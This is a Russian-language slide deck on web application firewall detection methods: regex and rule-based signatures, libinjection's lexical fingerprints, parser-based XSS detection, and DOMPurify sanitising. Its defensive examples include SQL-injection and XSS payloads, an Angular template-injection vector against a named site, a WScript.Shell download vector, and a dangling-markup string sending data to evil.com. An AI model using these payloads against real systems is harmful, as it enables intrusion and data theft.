|v(?:a(?:r(?:_(?:sam|po)p|iance)|lues)|ersion)|g(?:r(?:oup_conca|eates)t|et_(format|lock))|o(?:(?:ld_passwo)?rd|ct(et_length)?)|we(?:ek(day|ofyear)?|ig
ht_string)|n(?:o(?:t_in|w)|ame_const|ullif)|(rawton?)?hex(toraw)?|qu(?:arter|ote)|(pg_)?sleep|year(week)?|d?count|xmltype|hour)W*(|b(?:(?:s(?:ele
ctb(?:.{1,100}?b(?:(?:length|count|top)b.{1,100}?bfrom|fromb.{1,100}?bwhere)|.*?b(?:d(?:umpb.*bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p
_(?:sqlexec|sp_replwritetovarbin|sp_help|addextendedproc|is_srvrolemember|prepare|sp_password|execute(?:sql)?|makewebtask|oacreate)|ql_(?:longv
archar|variant))|xp_(?:reg(?:re(?:movemultistring|ad)|delete(?:value|key)|enum(?:value|key)s|addmultistring|write)|terminate|xp_servicecontrol|xp_nts
ec_enumdomains|xp_terminate_process|e(?:xecresultset|numdsn)|availablemedia|loginconfig|cmdshell|filelist|dirtree|makecab|ntsec)|u(?:nionb.{1,10
0}?bselect|tl_(?:file|http))|d(?:b(?:a_users|ms_java)|eletebW*?bfrom)|groupb.*bbyb.{1,100}?bhaving|open(?:rowset|owa_util|query)|loadbW*
?bdatab.*binfile|(?:n?varcha|tbcreato)r|autonomous_transaction)b|i(?:n(?:tobW*?b(?:dump|out)file|sertbW*?binto|nerbW*?bjoin)b|(?:f(?:
bW*?(W*?bbenchmark|nullb)|snullb)W*?()|printbW*?@@|castbW*?()|c(?:(?:ur(?:rent_(?:time(?:stamp)?|date|user)|(?:dat|tim)e)|h(?:ar(
?:(?:acter)?_length|set)?|r)|iel(?:ing)?|ast|r32)W*(|o(?:(?:n(?:v(?:ert(?:_tz)?)?|cat(?:_ws)?|nection_id)|(?:mpres)?s|ercibility|alesce|t)W*(|llationW*
(a))|d(?:(?:a(?:t(?:e(?:(_(add|format|sub))?|diff)|abase)|y(name|ofmonth|ofweek|ofyear)?)|e(?:(?:s_(de|en)cryp|faul)t|grees|code)|ump)W*(|bms_
w+.b)|(?:;W*?b(?:shutdown|drop)|@@version)b|butl_inaddrb|bsys_contextb|'(?:s(?:qloledb|a)|msdasql|dbo)'))
Заголовок
Регулярные выражения – определение языка атак
Правила – определение контекста и логики
Правила
• Условия
• Ограничения
• Контекст
• Источники
• Корреляции
• Реакции
Правила
ЗаголовокПример правил CloudFlare WAF
Anonymous Attack
rule 1234567A Simple POST botnet
REQUEST_METHOD is POST and
REQUEST_URI is /q
deny
rule 12345679 Anonymous attack
REQUEST_METHOD is GET and
REQUEST_URI begins /?msg=Nous%20sommes%20Anonymous
deny
Simple POST Botnet
ЗаголовокПример правил: ModSecurity
Heuristic Checks
#
# -=[ Heuristic Checks ]=-
#
# [ Repeatative Non-Word Chars ]
#
# This rule attempts to identify when multiple (4 or more) non-word characters are repeated in
sequence
#
SecRule ARGS "W{4,}"
"phase:2,capture,t:none,t:urlDecodeUni,block,id:'960024',rev:'2',ver:'OWASP_CRS/2.2.9',maturity:'9',ac
curacy:'8',msg:'Meta-Character Anomaly Detection Alert - Repetative Non-Word
Characters',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}:
%{MATCHED_VAR}',setvar:tx.anomaly_score=+%{tx.warning_anomaly_score},setvar:'tx.msg=%{rule.msg}',setva
r:tx.%{rule.id}-OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION-%{matched_var_name}=%{tx.0}"
ЗаголовокПример правил: PT AF
Reflected File Download
{
"rule": {
"and": [ {
"REQUEST_URI": {
"regex":
"(?:/[^?/]+.(?:bat|cmd|ps1|wsf|sh|wsh|hta|vbs|vbe)(?:;[^?/]*)??)|?.+=.*(?:(?:ActiveXObject|CreateObject|Exec)((?
:x22|')|((?:'|x22)WScript.Shell)"
}
},
{
"RESPONSE_HEADERS;content-disposition": {
"itext": "attachment"
}
}
]
}
}
Заголовок
Лексико-сигнатурный подход
Заголовок
Предложил Nil Galbreath в 2012 для обнаружения SQL-инъекций
Позднее данный подход был адаптирован для обнаружения XSS
Реализован в библиотеке libinjection
Основные идеи
• Выполняется токенизация значения в соответствии с заданной грамматикой
в 3-х контекстах
• Строится свертка
• Последовательность первых пяти токенов ищется в базе сигнатур
• База сигнатур строится по популярным векторам атак
Лексико-сигнатурный подход
ЗаголовокПример
input = 42" or "1"="1" --
1
ЗаголовокПример
input = 42" or "1"="1" --
Context AS_IS = 42" or "1"="1" --
1
ЗаголовокПример
input = 42" or "1"="1" --
Context AS_IS = 42" or "1"="1" --
1
('1', '42'): number
('s', ' " or "'): string
('1', '1'): number
('s', ' "=" '): string
('1', '1'): number
('s', ' "--'): string
Токены
ЗаголовокПример
input = 42" or "1"="1" --
Context AS_IS = 42" or "1"="1" --
1
('1', '42'): number
('s', ' " or "'): string
('1', '1'): number
('s', ' "=" '): string
('1', '1'): number
('s', ' "--'): string
Токены
1s1s1s
Сигнатура
ЗаголовокПример
input = 42" or "1"="1" --
Context AS_IS = 42" or "1"="1" --
1
('1', '42'): number
('s', ' " or "'): string
('1', '1'): number
('s', ' "=" '): string
('1', '1'): number
('s', ' "--'): string
Токены Сигнатура
1s1s1s
ЗаголовокПример
input = 42" or "1"="1" --
2
ЗаголовокПример
input = 42" or "1"="1" --
Context SINGLE_QUOTE = '42" or "1"="1" --
2
ЗаголовокПример
input = 42" or "1"="1" --
Context SINGLE_QUOTE = '42" or "1"="1" --
2
('s', ' '42" or "1"="1" --'):
string
Токены
ЗаголовокПример
input = 42" or "1"="1" --
Context SINGLE_QUOTE = '42" or "1"="1" --
2
('s', ' '42" or "1"="1" --'):
string
Токены
s
Сигнатура
ЗаголовокПример
input = 42" or "1"="1" --
Context SINGLE_QUOTE = '42" or "1"="1" --
2
('s', ' '42" or "1"="1" --'):
string
Токены
s
Сигнатура
ЗаголовокПример
input = 42" or "1"="1" --
3
ЗаголовокПример
input = 42" or "1"="1" --
Context DOUBLE_QUOTES = "42" or "1"="1" --
3
ЗаголовокПример
input = 42" or "1"="1" --
Context DOUBLE_QUOTES = "42" or "1"="1" --
3
('s', ' "42" '): string
('&', 'or'): logic operator
('s', ' "1" '): string
('o', '='): operator
('1', ' "1"'): string
('c', '--'): comment
Токены
ЗаголовокПример
input = 42" or "1"="1" --
Context DOUBLE_QUOTES = "42" or "1"="1" --
3
('s', ' "42" '): string
('&', 'or'): logic operator
('s', ' "1" '): string
('o', '='): operator
('1', ' "1"'): string
('c', '--'): comment
Токены
s&sos
Сигнатура
ЗаголовокПример
input = 42" or "1"="1" --
Context DOUBLE_QUOTES = "42" or "1"="1" --
3
('s', ' "42" '): string
('&', 'or'): logic operator
('s', ' "1" '): string
('o', '='): operator
('1', ' "1"'): string
('c', '--'): comment
Токены
s&sos
Сигнатура
Заголовок
&(1)U
&(1)o
&(1o(
&(1of
&(1os
&(1ov
&(f()
&(nof
&(nos
&(nov
&(s)U
Примеры сигнатур
https://github.com/client9/libinjection/blob/master/src/fingerprints.txt
ЗаголовокПроблема ложных срабатываний
POST /app HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/50.0.2661.102 Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
Text=Dancin' like a robot on fire
Заголовок
Синтаксический подход
Заголовок
Впервые применение парсеров для обнаружения инъекций было описано
в работе Роберта Хансена и Мередит Паттерсон «Guns and Butter: Towards
Formal Axioms of Input Validation» для Black Hat 2005
«Сontext-free parse tree validation»
• По известным запросам приложения грамматика для SQL преобразуется в грамматику
для subSQL
• По построенной грамматике генерируется парсер
• Парсер subSQL распознает только цепочки подъязыка SQL этого приложения
Robert J. Hansen, Meredith L. Patterson. Guns and Butter: Towards Formal
Axioms of Input Validation
Синтаксический подход
Заголовок
Ленивые – эвристическое использование готовых парсеров,
в идеале – парсеров целевых компьютерных систем,
для предотвращения уязвимостей типа «parser differentials»
• DOMPurify
• DOMSanitizer
Грамматические
• libdetection (Wallarm)
• libdejection (PT AF)
Граничные методы
Заголовок
Строка s - инъекция для языка L(G), если в построенном дереве разбора s по грамматике G
содержится хотя бы одна опасная инструкция
• 11111
• alert(1)
Базовая идея – с использованием готового парсера построить дерево разбора; если дерево
разбора содержит запрещенные узлы-нетерминалы, то исходная строка является инъекцией
Характеристики подхода
• Возможность использования готовых парсеров
• Универсальность
• Эвристичность
• Различимость парсеров
Ленивый метод
ЗаголовокПример: DOM-based XSS
http://ex.com/foo.html#11111
var input = location.hash.slice(1);
document.write("<scr"+"ipt>var foo = "+ input +"</scr"+"ipt>");
<script> var foo = 11111; <script>
Program
ExpressionStatement
Literal
ЗаголовокПример: DOM-based XSS
http://ex.com/foo.html#1;alert(1);
var input = location.hash.slice(1);
document.write("<scr"+"ipt>var foo = "+ input +"</scr"+"ipt>");
<script> var foo = 1;alert(1); <script>
Program
ExpressionStatement
Literal
ExpressionStatement
CallExpression
Identifier
Literal
Заголовок
Запрещенные нетерминалы (опасные конструкции) в простейшем
случае задаются перечнем типов узлов
Для уменьшения числа ложных срабатываний могут быть
использованы дополнительные проверки на основе родительских
или дочерних узлов
Что делать, когда дерево разбора не может быть построено?
""};alert(1);var f={t:"
Поиск вредоносного кода
ЗаголовокПарсер acorn для обнаружения XSS
function sanitize(dirty) {
var acorn = require('acorn'), detected = false, clean = '', tree ;
acorn.plugins.detectCallExpression = function(parser) {
parser.extend('finishNode', function(nextMethod) {
return function(code, node) {
if(node === 'CallExpression') {
detected = true;
}
return nextMethod.call(this, code, node);
}
})
};
tree = acorn.parse(payload, {plugins: {detectCallExpression: true}});
if (detected) {
return clean;
}
return dirty;
}
Заголовок
Вход: строка S, контекст CTX
Выход: является ли S инъекцией в контексте CTX?
1. Построить tokens – список токенов s в CTX
2. Построить дерево разбора для S в CTX
3. Если в дереве есть запрещенные узлы, то S – инъекция
4. Иначе удалить из S следующий токен
5. Если S – непустая строка, то перейти на шаг 2
Метод поиска с левым приведением
ЗаголовокПример
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "
1
ЗаголовокПример
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}
2
ЗаголовокПример
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}
ctx = ""});alert(1);var f =({t:"
parse(ctx): Unexpected token (1:2)
3
ЗаголовокПример
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}
ctx = });alert(1);var f =({t:"
parse(ctx): Unexpected token (1:0)
4
ЗаголовокПример
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}
ctx = );alert(1);var f =({t:"
parse(ctx): Unexpected token (1:0)
5
ЗаголовокПример
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}
ctx = ;alert(1);var f =({t:"
parse(ctx): Program
6
ЗаголовокПример
7 Program
EmptyStatement ExpressionStatement
alert
CallExpression
…
arguments
1
nodes = {CallExpression}
ctx = ;alert(1);var f =({t:"
ЗаголовокПримеры обнаруживаемых векторов
http://friendfeed.com/api/feed/public?callback=var WshShell=new
ActiveXObject("WScript.Shell");WshShell.Exec("calc");//
Internet Explorer Reflected File Download
Reflected XSS on developer.uber.com via Angular template injection
ES6
alert`1`
https://developer.uber.com/docs/deep-
linking?q=wrtz{{(_="".sub).call.call({}[$="constructor"].getOwnPropertyDescript
or(_.__proto__,$).value,0,"alert(1)")()}}zzzz
Заголовок
Встроенное распознавание
ЗаголовокDOM и DOMParser
DOMParser – интерфейс для парсинга и сериализации DOM
var s = '<img src=1 "x" "y" onload="onload"="alert(1)" >'
var p = new DOMParser();
var d = p.parseFromString(s, 'text/html');
console.log(d.body.innerHTML);
// IE 10
// <img onload="onload" src="1" "x"="" "y"="" ="alert(1)"="">
// FF
// <img src="1" "x"="" "y"="" onload="onload" ="alert(1)"="">
// Chrome
// <img src="1" "x"="" "y"="" onload="onload" ="alert(1)"="">
Заголовок
"DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for
HTML, MathML and SVG"
Адрес проекта
https://github.com/cure53/DOMPurify
Особенности
• Точный механизм
• Инструмент для разработчиков
• Удаление вредоносного и запрещенного кода из HTML / MathML / SVG
• Поддерживает механизм хуков
DOMPurify
ЗаголовокDOMPurify
var _initDocument = function(dirty) {
/* Create a HTML document using DOMParser */
var doc, body;
try {
doc = new DOMParser().parseFromString(dirty, 'text/html');
} catch (e) {}
/* Some browsers throw, some browsers return null for the code above
DOMParser with text/html support is only in very recent browsers.
See #159 why the check here is extra-thorough */
if (!doc || !doc.documentElement) {
doc = implementation.createHTMLDocument('');
body = doc.body;
body.parentNode.removeChild(body.parentNode.firstElementChild);
body.outerHTML = dirty;
}
…
};
ЗаголовокЧто может DOMPurify
Предотвращать атаки XSS (в том числе для jQuery)
var dirty = '<a>123<b>456<script>alert(1)</script></b></a>789';
var clean = DOMPurify.sanitize(dirty, {FORBID_TAGS: ['a', 'b']});
clean; //123456789
var dirty = '<img src=x name=createElement><img src=y id=createElement>';
var clean = DOMPurify.sanitize(dirty);
clean; // "<img src="x"><img src="y">"
var dirty = '<img src="http://evil.com/log.cgi?';
var clean = DOMPurify.sanitize(dirty);
clean; // ""
Предотвращать атаки DOM Clobbering
Предотвращать атаки Dangling Markup Injection
ЗаголовокDOMPurify для WAF
function sanitize(s) {
var clean = '';
DOMPurify.sanitize(s);
if (DOMPurify.removed.length > 0)) {
return clean;
}
return s;
}
ε, dompurify.removed(x) ≠ 0
x, dompurify.removed(x) = 0
sanitize(x) =
ЗаголовокНормализация
Использование API браузера для нормализации
var normalizeInput = function(s) {
var tmp;
var textArea = document.createElement('textarea');
do {
tmp = s;
textArea.innerHTML = s;
s = textArea.value;
try {
s = decodeURIComponent(s);
} catch (e) {}
} while (tmp !== s);
return s;
};
Заголовок
Материалы
ЗаголовокКниги
ЗаголовокCopyrights
В презентации использованы следующие материалы:
В. Кочетков. Как разработать защищенное веб-приложение и не сойти с ума?
Д. Колегов, А. Реутов. Waf.js: как защитить веб-приложение с помощью JavaScript.
А. Петухов. Обзор ограничений современных технологий в области ИБ.
I. Markovic. HTTP Parameter Contamination.
I. Ristic. Protocol-Level Evasaion of Web Application Firewalls.
Z. Su, G. Wassermann. The Essence of Command Injection Attacks in Web Applications.
D. Kolegov, O. Broslavsky, N. Oleksov. White-Box HMAC
S. Bratus, M. Patterson, etc. Security Applications of Formal Language Theory
S. Bratus, M. Patterson, etc. A Taxonomy of LangSec Errors and How to Expunge Them
Заголовок
ptsecurity.com
Спасибо!
Спасибо!

More Related Content

PDF
Подходы к сигнатурному статическому анализу
Positive Development User Group
 
PPTX
Технологии анализа бинарного кода приложений: требования, проблемы, инструменты
Positive Development User Group
 
PPTX
Пост-эксплуатация веб-приложений в тестах на проникновение
beched
 
PPTX
Автоматизация построения правил для Approof
Positive Hack Days
 
PDF
Трущобы Application Security
Positive Development User Group
 
PDF
Формальная верификация кода на языке Си
Positive Development User Group
 
PDF
Автоматизация построения правил для Approof
Positive Development User Group
 
PPTX
Blackbox-тестирование веб-приложений
beched
 
Подходы к сигнатурному статическому анализу
Positive Development User Group
 
Технологии анализа бинарного кода приложений: требования, проблемы, инструменты
Positive Development User Group
 
Пост-эксплуатация веб-приложений в тестах на проникновение
beched
 
Автоматизация построения правил для Approof
Positive Hack Days
 
Трущобы Application Security
Positive Development User Group
 
Формальная верификация кода на языке Си
Positive Development User Group
 
Автоматизация построения правил для Approof
Positive Development User Group
 
Blackbox-тестирование веб-приложений
beched
 

What's hot (20)

PPTX
Воркшоп по анализ защищённости веб-приложений
beched
 
PDF
Формальная верификация кода на языке Си
Positive Hack Days
 
PDF
От экспериментального программирования к промышленному: путь длиной в 10 лет
Positive Development User Group
 
PPTX
[DagCTF 2015] Hacking motivation
beched
 
PPTX
Криптология в анализе защищённости
beched
 
PDF
Как обезопасить PBN от взлома? Практические рекомендации
NaZapad
 
PDF
Data mining for nmap acceleration
beched
 
PDF
Anton Tsitou "Cycle ORM and Graphs"
Fwdays
 
PPTX
Алгоритмы пентестов. BaltCTF 2012
beched
 
PPTX
Что общего у CTF и тестов на проникновение?
beched
 
PDF
Node.js for enterprise 2021 - JavaScript Fwdays 3
Timur Shemsedinov
 
PDF
еще один недостаток современных клиент серверных приложений
snowytoxa
 
PDF
Serghei Iakovlev "Chaos engineering in action"
Fwdays
 
PDF
Как банки обеспечивают свою безопасность
Andrey Apuhtin
 
PDF
So Your WAF Needs a Parser
yalegko
 
PPTX
Waf.js: как защищать веб-приложения с использованием JavaScript
Positive Hack Days
 
PDF
CodeFest 2012 - Пентест на стероидах
Sergey Belov
 
PPT
Node.JS: возможности для РНР-разработчика
Alexei Smolyanov
 
PDF
Rethinking low-code
Timur Shemsedinov
 
PPTX
современная практика статического анализа безопасности кода веб приложений
Sergey Belov
 
Воркшоп по анализ защищённости веб-приложений
beched
 
Формальная верификация кода на языке Си
Positive Hack Days
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
Positive Development User Group
 
[DagCTF 2015] Hacking motivation
beched
 
Криптология в анализе защищённости
beched
 
Как обезопасить PBN от взлома? Практические рекомендации
NaZapad
 
Data mining for nmap acceleration
beched
 
Anton Tsitou "Cycle ORM and Graphs"
Fwdays
 
Алгоритмы пентестов. BaltCTF 2012
beched
 
Что общего у CTF и тестов на проникновение?
beched
 
Node.js for enterprise 2021 - JavaScript Fwdays 3
Timur Shemsedinov
 
еще один недостаток современных клиент серверных приложений
snowytoxa
 
Serghei Iakovlev "Chaos engineering in action"
Fwdays
 
Как банки обеспечивают свою безопасность
Andrey Apuhtin
 
So Your WAF Needs a Parser
yalegko
 
Waf.js: как защищать веб-приложения с использованием JavaScript
Positive Hack Days
 
CodeFest 2012 - Пентест на стероидах
Sergey Belov
 
Node.JS: возможности для РНР-разработчика
Alexei Smolyanov
 
Rethinking low-code
Timur Shemsedinov
 
современная практика статического анализа безопасности кода веб приложений
Sergey Belov
 
Ad

Similar to Кто сказал «WAF»? (20)

PDF
Эвристические методы защиты приложений
Positive Hack Days
 
PDF
SibeCrypt 2016. Практические методы защиты веб-приложений
Denis Kolegov
 
PDF
SibirCTF 2016. Практические методы защиты веб-приложений
Denis Kolegov
 
PDF
HTTP протокол
lectureswww lectureswww
 
PPTX
Эволюция атак на веб приложения (Evolution of web applications attacks)
c3retc3
 
PDF
Визуализация взломов в собственной сети PAN
Альбина Минуллина
 
PDF
Вячеслав Бирюков - HTTP и HTTPS
Yandex
 
PDF
Как превратить приложение в платформу
Vadim Kruchkov
 
PPTX
Отличие NGFW и UTM
Denis Batrankov, CISSP
 
PDF
защита Web приложений f5 cti
CTI_analytics
 
PPTX
Решения для защиты корпоративных и коммерческих цод
Denis Batrankov, CISSP
 
PPT
PT MIFI Labxss
Dmitry Evteev
 
PPT
PT MIFI Labxss
Dmitry Evteev
 
PPTX
Визуализация взломов в собственной сети
Denis Batrankov, CISSP
 
PDF
11 лекция, петр волков
karina krew
 
PDF
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Yandex
 
PDF
Project under control
Alex Simanovich
 
PPTX
обеспечение информационной безопасности. I psec, ssl, web
Nataliya Sobaka
 
PDF
Методы выполнения требования 6.6 PCI DSS – практический выбор
Denis Bezkorovayny
 
PPTX
Какие вопросы чаще всего задают вендору при выборе решения по информационной ...
Denis Batrankov, CISSP
 
Эвристические методы защиты приложений
Positive Hack Days
 
SibeCrypt 2016. Практические методы защиты веб-приложений
Denis Kolegov
 
SibirCTF 2016. Практические методы защиты веб-приложений
Denis Kolegov
 
HTTP протокол
lectureswww lectureswww
 
Эволюция атак на веб приложения (Evolution of web applications attacks)
c3retc3
 
Визуализация взломов в собственной сети PAN
Альбина Минуллина
 
Вячеслав Бирюков - HTTP и HTTPS
Yandex
 
Как превратить приложение в платформу
Vadim Kruchkov
 
Отличие NGFW и UTM
Denis Batrankov, CISSP
 
защита Web приложений f5 cti
CTI_analytics
 
Решения для защиты корпоративных и коммерческих цод
Denis Batrankov, CISSP
 
PT MIFI Labxss
Dmitry Evteev
 
PT MIFI Labxss
Dmitry Evteev
 
Визуализация взломов в собственной сети
Denis Batrankov, CISSP
 
11 лекция, петр волков
karina krew
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Yandex
 
Project under control
Alex Simanovich
 
обеспечение информационной безопасности. I psec, ssl, web
Nataliya Sobaka
 
Методы выполнения требования 6.6 PCI DSS – практический выбор
Denis Bezkorovayny
 
Какие вопросы чаще всего задают вендору при выборе решения по информационной ...
Denis Batrankov, CISSP
 
Ad

More from Positive Development User Group (6)

PDF
Требования по безопасности в архитектуре ПО
Positive Development User Group
 
PDF
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Positive Development User Group
 
PDF
Механизмы предотвращения атак в ASP.NET Core
Positive Development User Group
 
PDF
PT BlackBox Scanner
Positive Development User Group
 
PPTX
Безопасная разработка для руководителей
Positive Development User Group
 
PDF
Построение процесса безопасной разработки
Positive Development User Group
 
Требования по безопасности в архитектуре ПО
Positive Development User Group
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Positive Development User Group
 
Механизмы предотвращения атак в ASP.NET Core
Positive Development User Group
 
PT BlackBox Scanner
Positive Development User Group
 
Безопасная разработка для руководителей
Positive Development User Group
 
Построение процесса безопасной разработки
Positive Development User Group
 

Кто сказал «WAF»?